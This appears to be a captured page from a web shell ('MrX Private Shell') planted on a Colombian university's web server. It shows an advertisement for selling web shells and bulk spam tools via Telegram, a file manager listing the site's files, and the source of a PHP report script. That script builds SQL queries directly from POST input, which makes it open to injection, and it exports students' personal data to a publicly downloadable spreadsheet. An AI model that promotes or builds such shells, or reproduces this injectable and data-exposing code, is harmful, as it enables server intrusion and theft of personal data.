__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<!DOCTYPE html>
<html lang="es">
<head>
<META http-equiv=Content-Type content="text/html; charset=UTF-8">
<title>Inscripción de monitores docentes</title>
<link rel="stylesheet" media="screen" href="styles.css" >
    <!–[if IE]>
        <script src="http://html5shiv.googlecode.com/svn/trunk
/html5.js"></script>
        <![endif]–>
</head>

 <link rel="stylesheet" type="text/css" href="jquery-ui-1.7.2.custom.css" />

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js"></script>

<script type="text/javascript" src="jquery-2.1.1.min.js"></script>
<SCRIPT language=JavaScript src="ajax.js" type=text/javascript></SCRIPT>

<?php
 
   include 'conectarbdsql.php';
  header('Content-Encoding: UTF-8');



 mysql_set_charset('utf8');
  
 $link=Conectarse();
  
 $tipo=$_POST[tipo_con];
$fecha=$_POST[fecha];
  
  //echo $tipo;
  
if($tipo==1)
{
$consulta="select * 
		from monitores 
		where fecha_inscripcion >= '$fecha'
		order by fecha_inscripcion";


$ver = mysql_query($consulta, $link)or die("Error monitores".mysql_error());


//echo "monitores".$consulta;
}


if($tipo==2)
{
$consulta="select * 
		from auxiliares 
		where fecha_inscripcion >= '$fecha'
		order by fecha_inscripcion";



$ver = mysql_query($consulta, $link)or die("Error auxiliares".mysql_error());



}


$contenidoexcel="<table border=1px align=center bordercolor=black>";

$contenidoexcel=$contenidoexcel."<tr><td bgcolor='#959797'>NÚMERO DE REGISTRO</td>
<td bgcolor='#959797'>TIPO DE DOCUMENTO</td>
<td bgcolor='#959797'>NÚMERO DE DOCUMENTO</td>
<td bgcolor='#959797'>PRIMER APELLIDO</td>
<td bgcolor='#959797'>SEGUNDO APELLIDO</td>
<td bgcolor='#959797'>PRIMER NOMBRE</td>
<td bgcolor='#959797'>SEGUNDO NOMBRE</td>
<td bgcolor='#959797'>FECHA DE NACIMIENTO (AAAA-MM-DD)</td>
<td bgcolor='#959797'>GENERO</td>
<td bgcolor='#959797'>DIRECCIÓN RESIDENCIA AFILIADO</td>
<td bgcolor='#959797'>CÓDIGO DEPARTAMENTO DE RESIDENCIA</td>
<td bgcolor='#959797'>CÓDIGO MUNICIPIO DE RESIDENCIA</td>
<td bgcolor='#959797'>TELÉFONO DE RESIDENCIA</td>
<td bgcolor='#959797'>NOMBRE CURSO</td>
<td bgcolor='#959797'>CODIGO CURSO</td>
<td bgcolor='#959797'>FECHA DE AFILIACIÓN (AAAA-MM-DD)</td>
<td bgcolor='#959797'>CARGO U OCUPACIÓN</td>
<td bgcolor='#959797'>IBC (SALARIO )</td>
<td bgcolor='#959797'>NIT EPS</td>
<td bgcolor='#959797'>CÓDIGO ACTIVIDAD</td>
<td bgcolor='#959797'>CÓDIGO SEDE</td>
<td bgcolor='#959797'>DIRECCIÓN DONDE LABORA</td>
<td bgcolor='#959797'>CÓDIGO DEPARTAMENTO DONDE LABORA</td>
<td bgcolor='#959797'>CÓDIGO CIUDAD DONDE LABORA</td>
<td bgcolor='#959797'>TELÉFONO DONDE LABORA</td>
<td bgcolor='#959797'>NIT EMPRESA</td>
<td bgcolor='#959797'>TIPO DE DOCUMENTO</td>
<td bgcolor='#959797'>TIENE BENEFICIARIOS</td>
<td bgcolor='#959797'>FECHA INICIO DE LA ACTIVIDAD</td>
<td bgcolor='#959797'>FECHA FINAL DE LA ACTIVIDAD</td></tr>";



//echo $ver;
while ($datos=mysql_fetch_array($ver))
{
//echo $datos[id_auxiliar];


if(strcmp('B',$datos[lugar])==0){
$sitio='Barcelona: Km. 12 Vía Puerto López';
$ntel='6616800';
}

if(strcmp('S',$datos[lugar])==0){
$sitio='San Antonio: Calle 37 No. 41-02 Barzal ';
$ntel='6616900';
}

if(strcmp('E',$datos[lugar])==0){
$sitio='Emporio: Calle 40 A No. 28-32 Emporio';
$ntel=' 6734700';
}

if($tipo==1){
$llave=$datos[id_monitoria];
}

if($tipo==2){
$llave=$datos[id_auxiliar];
}

$contenidoexcel=$contenidoexcel."
<tr><td>$llave</td>
<td>$datos[tipo_doc]</td>
<td>$datos[numero_doc]</td>
<td>$datos[p_apellido]</td>
<td>$datos[s_apellido]</td>
<td>$datos[p_nombre]</td>
<td>$datos[s_nombre]</td>
<td>$datos[fecha]</td>
<td>$datos[genero]</td>
<td>$datos[direccion]</td>
<td>$datos[departamento_nacimiento]</td>
<td>$datos[municipio_nacimiento]</td>
<td>$datos[telefono]</td>
<td>$datos[curso]</td>
<td>$datos[codigo_curso]</td>
<td></td>
<td>9999</td>
<td>644350</td>
<td>$datos[eps]</td>
<td>1751501</td>
<td>3</td><td>$sitio</td>
<td>50</td>
<td>1</td>
<td>$ntel</td>
<td>892757000</td>
<td>N</td>
<td>NO</td>
<td></td>
<td></td></tr>";


}

$contenidoexcel=$contenidoexcel."</table>"; 



$contenidoexcel=utf8_decode($contenidoexcel);

 $ruta="inscritos/reporte.xls";
 $apertura=fopen($ruta,"w");
 fwrite($apertura,$contenidoexcel);
 fclose($apertura);

?>


     

<body>

<center>

<article id="monitoria">
 <header>
		     <div class="logo1"><img src="logo.png"/></div>
			 <div class="universidad"><h1>UNIVERSIDAD DE LOS LLANOS<br>VICERRECTORÍA ACADÉMICA</h1></div>
			 <div class="convo"><h2>Reportes</h2></div>
			 </header>


<form class="contact_form" action="generarreporte.php" method="post">
    
    <div id="datos_per" style="width: 1000px;">
     <fieldset>
     <legend>DATOS</legend>
     
     
     
     <table width="900px" border="0">
     
     
    <tr><td colspan="2">
    
            <label><a href="inscritos/reporte.xls" >Descargar reporte</a></label>
	
	    
        
	
</td></tr>
	
	
     </table>
         
     </fieldset>
     </div>
     
    <br />

          
</form>

</article>

</center>
</body>
</html>

Filemanager

Name Type Size Permission Actions
fonts Folder 0775
inscritos Folder 0775
inscritosauxiliar Folder 0777
acta.php File 5.07 KB 0664
ajax.js File 1.8 KB 0664
auxiliares.php File 11.58 KB 0664
auxiliaresguardar.php File 11.17 KB 0664
carga_municipios.php File 701 B 0664
class.ezpdf.php File 53.66 KB 0664
class.pdf.php File 97.95 KB 0664
conectarbdsql.php File 380 B 0664
cronogramaexamen.png File 42.13 KB 0664
encaauxiliar.png File 78.18 KB 0664
encamonitor.png File 27.36 KB 0664
encamonitor2.png File 74.51 KB 0664
encuesta.php File 20.08 KB 0664
generarreporte.php File 5.04 KB 0664
index.html File 9 B 0664
index.php File 0 B 0664
jquery-2.1.1.min.js File 82.27 KB 0664
jquery-ui-1.7.2.custom.css File 25.51 KB 0664
logo.png File 11.55 KB 0664
monitores.php File 13.86 KB 0664
monitoresguardar.php File 13.38 KB 0664
reporte.php File 2.35 KB 0664
styles.css File 3.74 KB 0664
Filemanager